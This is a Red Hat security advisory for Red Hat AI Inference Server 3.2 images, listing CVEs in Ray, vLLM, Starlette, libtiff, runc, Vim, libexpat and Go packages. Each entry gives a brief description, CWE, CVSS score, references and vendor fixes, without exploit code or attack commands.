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"text": "A flaw was found in Ray\u2019s HTTP API endpoint handling (e.g. /api/jobs, /api/job_agent/jobs/), which allows a remote attacker to trigger arbitrary code execution when a developer using Ray visits a malicious website in a vulnerable browser (e.g. Firefox or Safari). The root cause is an insufficient defense relying solely on the User-Agent header starting with \u201cMozilla\u201d, which can be manipulated under the fetch specification \u2014 enabling a DNS-rebinding attack to bypass browser-based protections.",
"title": "Vulnerability description"
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{
"category": "summary",
"text": "ray: Ray is vulnerable to RCE via Safari \u0026 Firefox Browsers through DNS Rebinding Attack",
"title": "Vulnerability summary"
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{
"category": "other",
"text": "Red Hat has chosen to keep this as Important instead of Critical severity because the successful exploitation of this vulnerability requires user interaction in conjunction with a DNS rebinding attack.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
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{
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"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-62593",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62593"
},
{
"category": "external",
"summary": "https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09",
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{
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"release_date": "2025-11-26T22:28:28.577000+00:00",
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"date": "2025-12-10T18:25:33+00:00",
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"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
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"title": "ray: Ray is vulnerable to RCE via Safari \u0026 Firefox Browsers through DNS Rebinding Attack"
},
{
"cve": "CVE-2025-62727",
"cwe": {
"id": "CWE-407",
"name": "Inefficient Algorithmic Complexity"
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"discovery_date": "2025-10-28T21:01:03.833849+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2406929"
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],
"notes": [
{
"category": "description",
"text": "A denial of service vulnerability has been discovered in the python Starlette framework. an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette\u0027s FileResponse Range parsing/merging logic. This induces CPU exhaustion per request, causing a denial\u2011of\u2011service for endpoints serving files.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "starlette: Starlette DoS via Range header merging",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
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"summary": "Canonical URL",
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{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-62727",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62727"
},
{
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"summary": "https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5",
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"summary": "https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8",
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"details": "For more information visit https://access.redhat.com/errata/RHSA-2025:23079",
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"attackVector": "NETWORK",
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"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
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"title": "starlette: Starlette DoS via Range header merging"
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{
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"cwe": {
"id": "CWE-94",
"name": "Improper Control of Generation of Code (\u0027Code Injection\u0027)"
},
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"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2418152"
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{
"category": "description",
"text": "A remote code execution vulnerability has been identified in vLLM. An attacker can exploit a weakness in the model loading process to silently fetch and run unauthorized, malicious Python code on the host system. This happens because the engine mistakenly executes code from a remote repository referenced in a model\u0027s configuration, even when explicit security measures are set to prevent it.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "vllm: vLLM: Remote Code Execution via malicious model configuration",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability is rated Important for Red Hat because vLLM, when deployed in a Red Hat environment, is susceptible to remote code execution. An attacker can craft a malicious model configuration that, when loaded, fetches and executes arbitrary Python code from a remote repository, even if `trust_remote_code` is explicitly set to `False`.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
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},
{
"category": "external",
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66448"
},
{
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"url": "https://github.com/vllm-project/vllm/pull/28126"
},
{
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"summary": "https://github.com/vllm-project/vllm/security/advisories/GHSA-8fr4-5q9j-m8gm",
"url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-8fr4-5q9j-m8gm"
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},
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"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/vllm-rocm-rhel9@sha256:7856bdb7ae0d643a7b9362c164d4d4fe3c0c7186f5fff73a7ae9835b3df52e57_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "vllm: vLLM: Remote Code Execution via malicious model configuration"
}
]
}
RHSA-2025:23080
Vulnerability from csaf_redhat - Published: 2025-12-10 18:26 - Updated: 2026-07-06 00:10A flaw was found in ray. The job submission API allows a remote attacker to execute arbitrary code due to insufficient input validation. An unauthenticated attacker can trigger this vulnerability by sending a malicious job submission request. Successful exploitation results in arbitrary code execution on the affected Ray cluster.
CWE-918 - Server-Side Request Forgery (SSRF)| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
Vendor Fix
fix
|
An out-of-memory flaw was found in libtiff that could be triggered by passing a crafted tiff file to the TIFFRasterScanlineSize64() API. This flaw allows a remote attacker to cause a denial of service via a crafted input with a size smaller than 379 KB.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
Vendor Fix
fix
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
Vendor Fix
fix
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A segment fault (SEGV) flaw was found in libtiff that could be triggered by passing a crafted tiff file to the TIFFReadRGBATileExt() API. This flaw allows a remote attacker to cause a heap-buffer overflow, leading to a denial of service.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
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fix
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
Vendor Fix
fix
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A flaw was found in shadow-utils. Affected versions of shadow-utils establish a default /etc/subuid behavior, for example, uid 100000 through 165535 for the first user account, that can conflict with the uids of users defined on locally administered networks. This issue potentially leads to account takeover by leveraging newuidmap for access to an NFS home directory or same-host resources for remote logins by these local network users.
CWE-1188 - Initialization of a Resource with an Insecure Default| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
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fix
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
Vendor Fix
fix
|
A flaw was found in the libssh library in versions less than 0.11.2. An out-of-bounds read can be triggered in the sftp_handle function due to an incorrect comparison check that permits the function to access memory beyond the valid handle list and to return an invalid pointer, which is used in further processing. This vulnerability allows an authenticated remote attacker to potentially read unintended memory regions, exposing sensitive information or affect service behavior.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
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fix
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
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fix
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A Server-Side Request Forgery (SSRF) vulnerability exists in the MediaConnector class within the vLLM project's multimodal feature set. The load_from_url and load_from_url_async methods fetch and process media from user-provided URLs without adequate restrictions on the target hosts. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
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fix
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
Vendor Fix
fix
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A memory corruption flaw was found in SQLite. Under specific conditions a query can be generated where the number of aggregate terms could exceed the number of columns available. This issue could lead to memory corruption and subsequent unintended behavior.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
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fix
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
Vendor Fix
fix
Workaround
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A flaw was found in libtiff. The `get_histogram` function in `file/tiffmedian.c` exhibits a use-after-free condition when processing a specially crafted file, allowing a local attacker to trigger memory corruption. This manipulation results in a use-after-free vulnerability, and can lead to a denial of service.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
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fix
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
Vendor Fix
fix
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A flaw was found in the OpenSSL CMS implementation (RFC 3211 KEK Unwrap). This vulnerability allows memory corruption, an application level denial of service, or potential execution of attacker-supplied code via crafted CMS messages using password-based encryption (PWRI).
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
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fix
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
Vendor Fix
fix
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A flaw was found in Libtiff. This vulnerability is a "write-what-where" condition, triggered when the library processes a specially crafted TIFF image file. By providing an abnormally large image height value in the file's metadata, an attacker can trick the library into writing attacker-controlled color data to an arbitrary memory location. This memory corruption can be exploited to cause a denial of service (application crash) or to achieve arbitrary code execution with the permissions of the user.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
Vendor Fix
fix
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|
A flaw was found in the `golang.org/x/oauth2/jws` package in the token parsing component. This vulnerability is made possible because of the use of `strings.Split(token, ".")` to split JWT tokens, which can lead to excessive memory consumption when processing maliciously crafted tokens with a large number of `.` characters. An attacker could exploit this functionality by sending numerous malformed tokens and can trigger memory exhaustion and a Denial of Service.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
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fix
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|
A flaw was found in the golang.org/x/crypto/ssh package. SSH clients and servers are vulnerable to increased resource consumption, possibly leading to memory exhaustion and a DoS. This can occur during key exchange when the other party is slow to respond during key exchange.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
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fix
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A flaw was found in runc. CVE-2025-52565 is very similar in concept and application toCVE-2025-31133, except that it exploits a flaw in /dev/console bind-mounts. When creating the /dev/console bind-mount (to /dev/pts/$n), if an attacker replaces /dev/pts/$n with a symlink then runc will bind-mount the symlink target over /dev/console.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
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fix
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A path traversal flaw was found in Vim. Successful exploitation can lead to overwriting sensitive files or placing executable code in privileged locations, depending on the permissions of the process editing the archive.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
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fix
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
Vendor Fix
fix
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|
A path traversal flaw was found in Vim. Successful exploitation can lead to overwriting sensitive files or placing executable code in privileged locations, depending on the permissions of the process editing the archive.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
Vendor Fix
fix
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
Vendor Fix
fix
Workaround
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A memory amplification vulnerability in libexpat allows attackers to trigger excessive dynamic memory allocations by submitting specially crafted XML input. A small input (~250 KiB) can cause the parser to allocate hundreds of megabytes, leading to denial-of-service (DoS) through memory exhaustion.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
Vendor Fix
fix
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
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fix
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A flaw was found in vLLM’s API token authentication logic, where token comparisons were not performed in constant time. This weakness could allow an attacker to exploit timing differences to guess valid tokens and bypass authentication.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
Vendor Fix
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
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fix
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A flaw was found in Ray’s HTTP API endpoint handling (e.g. /api/jobs, /api/job_agent/jobs/), which allows a remote attacker to trigger arbitrary code execution when a developer using Ray visits a malicious website in a vulnerable browser (e.g. Firefox or Safari). The root cause is an insufficient defense relying solely on the User-Agent header starting with “Mozilla”, which can be manipulated under the fetch specification — enabling a DNS-rebinding attack to bypass browser-based protections.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
Vendor Fix
fix
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A denial of service vulnerability has been discovered in the python Starlette framework. an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This induces CPU exhaustion per request, causing a denial‑of‑service for endpoints serving files.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
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|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
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A remote code execution vulnerability has been identified in vLLM. An attacker can exploit a weakness in the model loading process to silently fetch and run unauthorized, malicious Python code on the host system. This happens because the engine mistakenly executes code from a remote repository referenced in a model's configuration, even when explicit security measures are set to prevent it.
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:dce6b0ea03379bf06664a5200af8b5f5ae3fad13cdce6d21873843f22554800b_amd64 | — |
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|
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"names": [
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}
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"title": "Statement"
},
{
"category": "general",
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"title": "Statement"
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{
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"title": "CVSS score applicability"
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"title": "Statement"
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"id": "CWE-787",
"name": "Out-of-bounds Write"
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"title": "Vulnerability description"
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{
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"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
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"ids": [
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"system_name": "Red Hat Bugzilla ID",
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"text": "A flaw was found in Libtiff. This vulnerability is a \"write-what-where\" condition, triggered when the library processes a specially crafted TIFF image file.\n\nBy providing an abnormally large image height value in the file\u0027s metadata, an attacker can trick the library into writing attacker-controlled color data to an arbitrary memory location. This memory corruption can be exploited to cause a denial of service (application crash) or to achieve arbitrary code execution with the permissions of the user.",
"title": "Vulnerability description"
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{
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"text": "libtiff: Libtiff Write-What-Where",
"title": "Vulnerability summary"
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{
"category": "other",
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"title": "Statement"
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{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
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"summary": "https://github.com/SexyShoelessGodofWar/LibTiff-4.7.0-Write-What-Where?tab=readme-ov-file",
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"title": "Vulnerability summary"
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{
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{
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"ids": [
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"title": "Vulnerability description"
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"title": "Statement"
},
{
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"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
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{
"category": "external",
"summary": "https://pkg.go.dev/vuln/GO-2025-3487",
"url": "https://pkg.go.dev/vuln/GO-2025-3487"
}
],
"release_date": "2025-02-26T03:07:48.855000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2025-12-10T18:26:32+00:00",
"details": "For more information visit https://access.redhat.com/errata/RHSA-2025:23080",
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"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2025:23080"
},
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"category": "workaround",
"details": "This flaw can be mitigated when using the client only connecting to trusted servers.",
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"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
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]
}
],
"threats": [
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"details": "Important"
}
],
"title": "golang.org/x/crypto/ssh: Denial of Service in the Key Exchange of golang.org/x/crypto/ssh"
},
{
"cve": "CVE-2025-52565",
"cwe": {
"id": "CWE-59",
"name": "Improper Link Resolution Before File Access (\u0027Link Following\u0027)"
},
"discovery_date": "2025-10-17T14:19:18.653000+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2404708"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in runc. CVE-2025-52565 is very similar in concept and application toCVE-2025-31133, except that it exploits a flaw in /dev/console\nbind-mounts. When creating the /dev/console bind-mount (to /dev/pts/$n), if an attacker replaces /dev/pts/$n with a symlink then runc will bind-mount the symlink target over /dev/console.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "runc: container escape with malicious config due to /dev/console mount and related races",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Red Hat considers this as an Important flaw since the impact is limited to local attack with minimal privileges in order to jeopardize the environment.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
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"url": "https://www.cve.org/CVERecord?id=CVE-2025-52565"
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"title": "runc: container escape with malicious config due to /dev/console mount and related races"
},
{
"cve": "CVE-2025-53905",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"discovery_date": "2025-07-15T21:01:19.770241+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2380362"
}
],
"notes": [
{
"category": "description",
"text": "A path traversal flaw was found in Vim. Successful exploitation can lead to overwriting sensitive files or placing executable code in privileged locations, depending on the permissions of the process editing the archive.",
"title": "Vulnerability description"
},
{
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"text": "vim: Vim path traversial",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53905"
},
{
"category": "external",
"summary": "https://github.com/vim/vim/commit/87757c6b0a4b2c1f71c72ea8e1438b8fb116b239",
"url": "https://github.com/vim/vim/commit/87757c6b0a4b2c1f71c72ea8e1438b8fb116b239"
},
{
"category": "external",
"summary": "https://github.com/vim/vim/security/advisories/GHSA-74v4-f3x9-ppvr",
"url": "https://github.com/vim/vim/security/advisories/GHSA-74v4-f3x9-ppvr"
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"release_date": "2025-07-15T20:48:34.764000+00:00",
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"attackVector": "LOCAL",
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"baseScore": 4.1,
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"confidentialityImpact": "NONE",
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"privilegesRequired": "NONE",
"scope": "CHANGED",
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"title": "vim: Vim path traversial"
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{
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"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"discovery_date": "2025-07-15T21:01:15.057182+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2380360"
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"title": "Vulnerability description"
},
{
"category": "summary",
"text": "vim: Vim path traversal",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
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{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-53906",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53906"
},
{
"category": "external",
"summary": "https://github.com/vim/vim/commit/586294a04179d855c3d1d4ee5ea83931963680b8",
"url": "https://github.com/vim/vim/commit/586294a04179d855c3d1d4ee5ea83931963680b8"
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"summary": "https://github.com/vim/vim/security/advisories/GHSA-r2fw-9cw4-mj86",
"url": "https://github.com/vim/vim/security/advisories/GHSA-r2fw-9cw4-mj86"
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"release_date": "2025-07-15T20:52:40.137000+00:00",
"remediations": [
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"date": "2025-12-10T18:26:32+00:00",
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"scores": [
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"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "LOCAL",
"availabilityImpact": "LOW",
"baseScore": 4.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:L/A:L",
"version": "3.1"
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}
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"title": "vim: Vim path traversal"
},
{
"cve": "CVE-2025-59375",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2025-09-15T03:00:59.775098+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2395108"
}
],
"notes": [
{
"category": "description",
"text": "A memory amplification vulnerability in libexpat allows attackers to trigger excessive dynamic memory allocations by submitting specially crafted XML input. A small input (~250 KiB) can cause the parser to allocate hundreds of megabytes, leading to denial-of-service (DoS) through memory exhaustion.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "firefox: thunderbird: expat: libexpat in Expat allows attackers to trigger large dynamic memory allocations via a small document that is submitted for parsing",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This issue is Important rather than Critical because, while it allows for significant resource exhaustion leading to denial-of-service (DoS), it does not enable arbitrary code execution, data leakage, or privilege escalation. The vulnerability stems from an uncontrolled memory amplification behavior in libexpat\u2019s parser, where a relatively small XML payload can cause disproportionately large heap allocations. However, the flaw is limited in scope to service disruption and requires the attacker to submit a crafted XML document\u2014something that can be mitigated with proper input validation and memory usage limits. Therefore, while the exploitability is high, the impact is confined to availability, not confidentiality or integrity, making it a high-severity but not critical flaw.\n\nIn Firefox and Thunderbird, where libexpat is a transitive userspace dependency, exploitation usually just crashes the application (app-level DoS), so it is classified as Moderate instead of Important.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat AI Inference Server 3.2:registry.redhat.io/rhaiis/model-opt-cuda-rhel9@sha256:14e32e88f1b89f59ed34a6d712746b82a6a54c6ed4727784f18aeff853abbdc7_arm64",
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"references": [
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"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-59375"
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"summary": "RHBZ#2395108",
